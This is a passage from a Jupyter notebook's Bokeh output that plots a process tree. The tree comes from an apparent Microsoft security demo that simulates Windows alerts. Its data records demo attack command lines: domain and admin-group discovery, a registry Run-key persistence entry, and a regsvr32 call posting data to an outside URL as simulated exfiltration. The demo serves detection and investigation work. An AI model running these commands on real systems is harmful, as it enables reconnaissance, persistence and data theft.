0x6e8 (1768)\",\"PID: 0xd98 (3480)\",\"PID: 0xfe4 (4068)\",\"PID: 0x2f0 (752)\",\"PID: 0x18c (396)\",\"PID: 0x13a0 (5024)\",\"PID: 0x10dc (4316)\",\"PID: 0x114c (4428)\",\"PID: 0xfa4 (4004)\",\"PID: 0x1164 (4452)\",\"PID: 0x12b0 (4784)\",\"PID: 0x1150 (4432)\",\"PID: 0xdd4 (3540)\",\"PID: 0xc34 (3124)\",\"PID: 0xc64 (3172)\"],\"ParentProcessName\":[\"NaN\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\"],\"ProcessId\":[\"NaN\",\"0x498\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\"],\"ProcessId1\":[\"NaN\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\"],\"ProcessId_par\":[\"NaN\",\"NaN\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\"],\"Row\":[18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1],\"SourceComputerId\":[\"NaN\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\"],\"SubjectDomainName\":[\"NaN\",\"WORKGROUP\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\"],\"SubjectLogonId\":[\"0x3e7\",\"0x3e7\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\"],\"SubjectUserName\":[\"NaN\",\"MSTICAlertsWin1$\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\"],\"SubjectUserSid\":[\"NaN\",\"S-1-5-18\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\"],\"TargetLogonId\":[\"NaN\",\"0x78225e\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\"],\"TenantId\":[\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\"],\"TimeCreatedUtc\":{\"__ndarray__\":\"/Knx0k1iQMMAcP2QvY52QgAQ/pC9jnZCADBDkb2OdkIAcESRvY52QgCgTZG9jnZCALBPkb2OdkIAkFGRvY52QgCwVJG9jnZCAPBVkb2OdkIAUBiRvY52QgCQGZG9jnZCAJAakb2OdkIAICORvY52QgCwMJG9jnZCAKA0kb2OdkIAAD6RvY52QgCQQZG9jnZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[18]},\"TimeGenerated\":{\"__ndarray__\":\"AAAAAAAAAAAAcP2QvY52QgAQ/pC9jnZCADBDkb2OdkIAcESRvY52QgCgTZG9jnZCALBPkb2OdkIAkFGRvY52QgCwVJG9jnZCAPBVkb2OdkIAUBiRvY52QgCQGZG9jnZCAJAakb2OdkIAICORvY52QgCwMJG9jnZCAKA0kb2OdkIAAD6RvY52QgCQQZG9jnZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[18]},\"TimeGenerated_orig_par\":{\"__ndarray__\":\"/Knx0k1iQMMAAAAAAAAAAABw/ZC9jnZCAHD9kL2OdkIAcP2QvY52QgBw/ZC9jnZCAHD9kL2OdkIAcP2QvY52QgBw/ZC9jnZCAHD9kL2OdkIAcP2QvY52QgBw/ZC9jnZCAHD9kL2OdkIAcP2QvY52QgBw/ZC9jnZCAHD9kL2OdkIAcP2QvY52QgBw/ZC9jnZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[18]},\"TokenElevationType\":[\"NaN\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\"],\"cmd\":[\"cmdline unknown\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd c:\\\\W!ndows\\\\System32 3\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"hostname\",\"netstat  -an\",\"net  user Bob1 /domain\",\"net  user BobX /domain\",\"net  group \\\"Domain Admins\\\" /domain\",\".\\\\reg.exe  add \\\\hkcu\\\\software\\\\microsoft\\\\some\\\\key\\\\Run /v abadvalue\",\"cmd  /c echo End Security Demo tasks\",\"cmd  /c echo Begin Security Demo tasks\",\"cmd  /c echo Any questions about the commands executed here then please contact one of\",\"cmd  /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com\",\".\\\\rundll32.exe  /C c:\\\\windows\\\\fonts\\\\conhost.exe zip archive.mdb\",\".\\\\regsvr32  /u /s c:\\\\windows\\\\fonts\\\\csrss.exe \\\"http://www.401k.com/upload?pass=34592389\\\" post\",\"tasklist\",\"net  localgroup Administrators\",\"whoami\"],\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17],\"new_process_lc\":[\"c:\\\\windows\\\\system32\\\\svchost.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\conhost.exe\",\"c:\\\\windows\\\\system32\\\\hostname.exe\",\"c:\\\\windows\\\\system32\\\\netstat.exe\",\"c:\\\\windows\\\\system32\\\\net.exe\",\"c:\\\\windows\\\\system32\\\\net.exe\",\"c:\\\\windows\\\\system32\\\\net.exe\",\"c:\\\\w!ndows\\\\system32\\\\reg.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\w!ndows\\\\system32\\\\rundll32.exe\",\"c:\\\\w!ndows\\\\system32\\\\regsvr32.exe\",\"c:\\\\windows\\\\system32\\\\tasklist.exe\",\"c:\\\\windows\\\\system32\\\\net.exe\",\"c:\\\\windows\\\\system32\\\\whoami.exe\"],\"new_process_lc_par\":[\"NaN\",\"c:\\\\windows\\\\system32\\\\svchost.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\"],\"parent_index\":[\"NaN\",\"17\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\"],\"parent_key\":[\"NaN\",\"c:\\\\windows\\\\system32\\\\svchost.exe0x4981970-01-01 00:00:00.000000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0x12f42019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0x12f42019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0x12f42019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0x12f42019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0x12f42019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0x12f42019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0x12f42019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0x12f42019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0x12f42019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0x12f42019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0x12f42019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0x12f42019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0x12f42019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0x12f42019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0x12f42019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0x12f42019-02-14 11:51:37.687000\"],\"parent_proc_lc\":[\"NaN\",\"c:\\\\windows\\\\system32\\\\svchost.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\"],\"path\":[\"17\",\"17/0\",\"17/0/1\",\"17/0/10\",\"17/0/11\",\"17/0/12\",\"17/0/13\",\"17/0/14\",\"17/0/15\",\"17/0/16\",\"17/0/2\",\"17/0/3\",\"17/0/4\",\"17/0/5\",\"17/0/6\",\"17/0/7\",\"17/0/8\",\"17/0/9\"],\"proc_key\":[\"c:\\\\windows\\\\system32\\\\svchost.exe0x4981970-01-01 00:00:00.000000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0x12f42019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\conhost.exe0x6dc2019-02-14 11:51:37.697000\",\"c:\\\\windows\\\\system32\\\\hostname.exe0x6e82019-02-14 11:51:38.803000\",\"c:\\\\windows\\\\system32\\\\netstat.exe0xd982019-02-14 11:51:38.823000\",\"c:\\\\windows\\\\system32\\\\net.exe0xfe42019-02-14 11:51:38.970000\",\"c:\\\\windows\\\\system32\\\\net.exe0x2f02019-02-14 11:51:39.003000\",\"c:\\\\windows\\\\system32\\\\net.exe0x18c2019-02-14 11:51:39.033000\",\"c:\\\\w!ndows\\\\system32\\\\reg.exe0x13a02019-02-14 11:51:39.083000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0x10dc2019-02-14 11:51:39.103000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0x114c2019-02-14 11:51:38.117000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0xfa42019-02-14 11:51:38.137000\",\"c:\\\\windows\\\\system32\\\\cmd.exe0x11642019-02-14 11:51:38.153000\",\"c:\\\\w!ndows\\\\system32\\\\rundll32.exe0x12b02019-02-14 11:51:38.290000\",\"c:\\\\w!ndows\\\\system32\\\\regsvr32.exe0x11502019-02-14 11:51:38.507000\",\"c:\\\\windows\\\\system32\\\\tasklist.exe0xdd42019-02-14 11:51:38.570000\",\"c:\\\\windows\\\\system32\\\\net.exe0xc342019-02-14 11:51:38.720000\",\"c:\\\\windows\\\\system32\\\\whoami.exe0xc642019-02-14 11:51:38.777000\"],\"source_index\":[\"17\",\"0\",\"1\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\"],\"source_index_par\":{\"__ndarray__\":\"AAAAAAAA+H8AAAAAAAD4fwAAAAAAADBAAAAAAAAAMEAAAAAAAAAwQAAAAAAAADBAAAAAAAAAMEAAAAAAAAAwQAAAAAAAADBAAAAAAAAAMEAAAAAAAAAwQAAAAAAAADBAAAAAAAAAMEAAAAAAAAAwQAAAAAAAADBAAAAAAAAAMEAAAAAAAAAwQAAAAAAAADBA\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[18]}},\"selected\":{\"id\":\"2455\"},\"selection_policy\":{\"id\":\"2456\"}},\"id\":\"2412\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"2506\",\"type\":\"HelpTool\"},{\"attributes\":{\"end\":19,\"start\":-2},\"id\":\"2419\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"2435\",\"type\":\"SaveTool\"},{\"attributes\":{\"source\":{\"id\":\"2412\"}},\"id\":\"2479\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"2501\",\"type\":\"PanTool\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"2433\"},{\"id\":\"2434\"},{\"id\":\"2435\"},{\"id\":\"2436\"},{\"id\":\"2442\"}]},\"id\":\"2437\",\"type\":\"Toolbar\"},{\"attributes\":{\"below\":[{\"id\":\"2425\"}],\"center\":[{\"id\":\"2428\"},{\"id\":\"2432\"},{\"id\":\"2457\"}],\"left\":[{\"id\":\"2429\"}],\"outline_line_color\":null,\"plot_height\":700,\"plot_width\":900,\"renderers\":[{\"id\":\"2448\"},{\"id\":\"2464\"},{\"id\":\"2471\"},{\"id\":\"2478\"}],\"title\":{\"id\":\"2415\"},\"toolbar\":{\"id\":\"2437\"},\"toolbar_location\":\"above\",\"x_range\":{\"id\":\"2417\"},\"x_scale\":{\"id\":\"2421\"},\"y_range\":{\"id\":\"2419\"},\"y_scale\":{\"id\":\"2423\"}},\"id\":\"2414\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"range\":{\"id\":\"2417\"},\"value\":0.1},\"id\":\"2466\",\"type\":\"Dodge\"},{\"attributes\":{\"formatter\":{\"id\":\"2533\"},\"ticker\":{\"id\":\"2494\"},\"visible\":false},\"id\":\"2493\",\"type\":\"LinearAxis\"},{\"attributes\":{\"data_source\":{\"id\":\"2412\"},\"glyph\":{\"id\":\"2446\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2447\"},\"selection_glyph\":null,\"view\":{\"id\":\"2449\"}},\"id\":\"2448\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"range\":{\"id\":\"2419\"},\"value\":0.25},\"id\":\"2467\",\"type\":\"Dodge\"},{\"attributes\":{},\"id\":\"2455\",\"type\":\"Selection\"},{\"attributes\":{\"range\":null,\"value\":-0.5},\"id\":\"2515\",\"type\":\"Dodge\"},{\"attributes\":{\"source\":{\"id\":\"2412\"}},\"id\":\"2449\",\"type\":\"CDSView\"},{\"attributes\":{\"text\":{\"field\":\"Exe\"},\"text_alpha\":{\"value\":0.1},\"text_baseline\":\"middle\",\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"8pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"2466\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"2467\"}}},\"id\":\"2470\",\"type\":\"Text\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.4},\"fill_color\":{\"field\":\"Account\",\"transform\":{\"id\":\"2413\"}},\"height\":{\"units\":\"data\",\"value\":0.95},\"line_color\":{\"value\":\"#1f77b4\"},\"width\":{\"units\":\"data\",\"value\":3.5},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"2444\"}},\"y\":{\"field\":\"Row\"}},\"id\":\"2446\",\"type\":\"Rect\"},{\"attributes\":{},\"id\":\"2494\",\"type\":\"BasicTicker\"},{\"attributes\":{},\"id\":\"2453\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"range\":{\"id\":\"2419\"},\"value\":-0.2},\"id\":\"2460\",\"type\":\"Dodge\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.6},\"fill_color\":{\"field\":\"Account\",\"transform\":{\"id\":\"2413\"}},\"height\":{\"units\":\"data\",\"value\":0.8},\"line_color\":{\"value\":\"#1f77b4\"},\"width\":{\"units\":\"data\",\"value\":1.2},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"2515\"}},\"y\":{\"field\":\"Row\"}},\"id\":\"2517\",\"type\":\"Rect\"},{\"attributes\":{\"data_source\":{\"id\":\"2412\"},\"glyph\":{\"id\":\"2476\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2477\"},\"selection_glyph\":null,\"view\":{\"id\":\"2479\"}},\"id\":\"2478\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"2451\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{},\"id\":\"2456\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"axis\":{\"id\":\"2497\"},\"dimension\":1,\"grid_line_color\":null,\"ticker\":null},\"id\":\"2500\",\"type\":\"Grid\"},{\"attributes\":{\"text\":{\"field\":\"PID\"},\"text_alpha\":{\"value\":0.1},\"text_baseline\":\"middle\",\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"8pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"2473\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"2474\"}}},\"id\":\"2477\",\"type\":\"Text\"},{\"attributes\":{\"axis\":{\"id\":\"2493\"},\"grid_line_color\":null,\"ticker\":null},\"id\":\"2496\",\"type\":\"Grid\"},{\"attributes\":{\"overlay\":{\"id\":\"2522\"},\"x_range\":null,\"y_range\":{\"id\":\"2419\"}},\"id\":\"2521\",\"type\":\"RangeTool\"},{\"attributes\":{},\"id\":\"2498\",\"type\":\"BasicTicker\"},{\"attributes\":{\"formatter\":{\"id\":\"2535\"},\"ticker\":{\"id\":\"2498\"},\"visible\":false},\"id\":\"2497\",\"type\":\"LinearAxis\"}],\"root_ids\":[\"2526\"]},\"title\":\"Bokeh Application\",\"version\":\"2.2.2\"}};\n  var render_items = [{\"docid\":\"c5166637-eb15-4773-90c5-052bb97b5d2e\",\"root_ids\":[\"2526\"],\"roots\":{\"2526\":\"a1f95d40-b5a2-43cb-9446-fb39ab858611\"}}];\n  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n  }\n  if (root.Bokeh !== undefined) {\n    embed_document(root);\n  } else {\n    var attempts = 0;\n    var timer = setInterval(function(root) {\n      if (root.Bokeh !== undefined) {\n        clearInterval(timer);\n        embed_document(root);\n      } else {\n        attempts++;\n        if (attempts > 100) {\n          clearInterval(timer);\n          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n        }\n      }\n    }, 10, root)\n  }\n})(window);",
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "2526"
      }
     },
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<p style='font-weight: bold;font-size: 130%'>Interactive event timeline view</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"2611\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  var force = true;\n\n  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  var JS_MIME_TYPE = 'application/javascript';\n  var HTML_MIME_TYPE = 'text/html';\n  var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n  var CLASS_NAME = 'output_bokeh rendered_html';\n\n  /**\n   * Render data to the DOM node\n   */\n  function render(props, node) {\n    var script = document.createElement(\"script\");\n    node.appendChild(script);\n  }\n\n  /**\n   * Handle when an output is cleared or removed\n   */\n  function handleClearOutput(event, handle) {\n    var cell = handle.cell;\n\n    var id = cell.output_area._bokeh_element_id;\n    var server_id = cell.output_area._bokeh_server_id;\n    // Clean up Bokeh references\n    if (id != null && id in Bokeh.index) {\n      Bokeh.index[id].model.document.clear();\n      delete Bokeh.index[id];\n    }\n\n    if (server_id !== undefined) {\n      // Clean up Bokeh references\n      var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n      cell.notebook.kernel.execute(cmd, {\n        iopub: {\n          output: function(msg) {\n            var id = msg.content.text.trim();\n            if (id in Bokeh.index) {\n              Bokeh.index[id].model.document.clear();\n              delete Bokeh.index[id];\n            }\n          }\n        }\n      });\n      // Destroy server and session\n      var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n      cell.notebook.kernel.execute(cmd);\n    }\n  }\n\n  /**\n   * Handle when a new output is added\n   */\n  function handleAddOutput(event, handle) {\n    var output_area = handle.output_area;\n    var output = handle.output;\n\n    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n    if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n      return\n    }\n\n    var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n      // store reference to embed id on output_area\n      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n    }\n    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n      var bk_div = document.createElement(\"div\");\n      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n      var script_attrs = bk_div.children[0].attributes;\n      for (var i = 0; i < script_attrs.length; i++) {\n        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n      }\n      // store reference to server id on output_area\n      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n    }\n  }\n\n  function register_renderer(events, OutputArea) {\n\n    function append_mime(data, metadata, element) {\n      // create a DOM node to render to\n      var toinsert = this.create_output_subarea(\n        metadata,\n        CLASS_NAME,\n        EXEC_MIME_TYPE\n      );\n      this.keyboard_manager.register_events(toinsert);\n      // Render to node\n      var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n      render(props, toinsert[toinsert.length - 1]);\n      element.append(toinsert);\n      return toinsert\n    }\n\n    /* Handle when an output is cleared or removed */\n    events.on('clear_output.CodeCell', handleClearOutput);\n    events.on('delete.Cell', handleClearOutput);\n\n    /* Handle when a new output is added */\n    events.on('output_added.OutputArea', handleAddOutput);\n\n    /**\n     * Register the mime type and append_mime function with output_area\n     */\n    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n      /* Is output safe? */\n      safe: true,\n      /* Index of renderer in `output_area.display_order` */\n      index: 0\n    });\n  }\n\n  // register the mime type if in Jupyter Notebook environment and previously unregistered\n  if (root.Jupyter !== undefined) {\n    var events = require('base/js/events');\n    var OutputArea = require('notebook/js/outputarea').OutputArea;\n\n    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n      register_renderer(events, OutputArea);\n    }\n  }\n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  var NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import 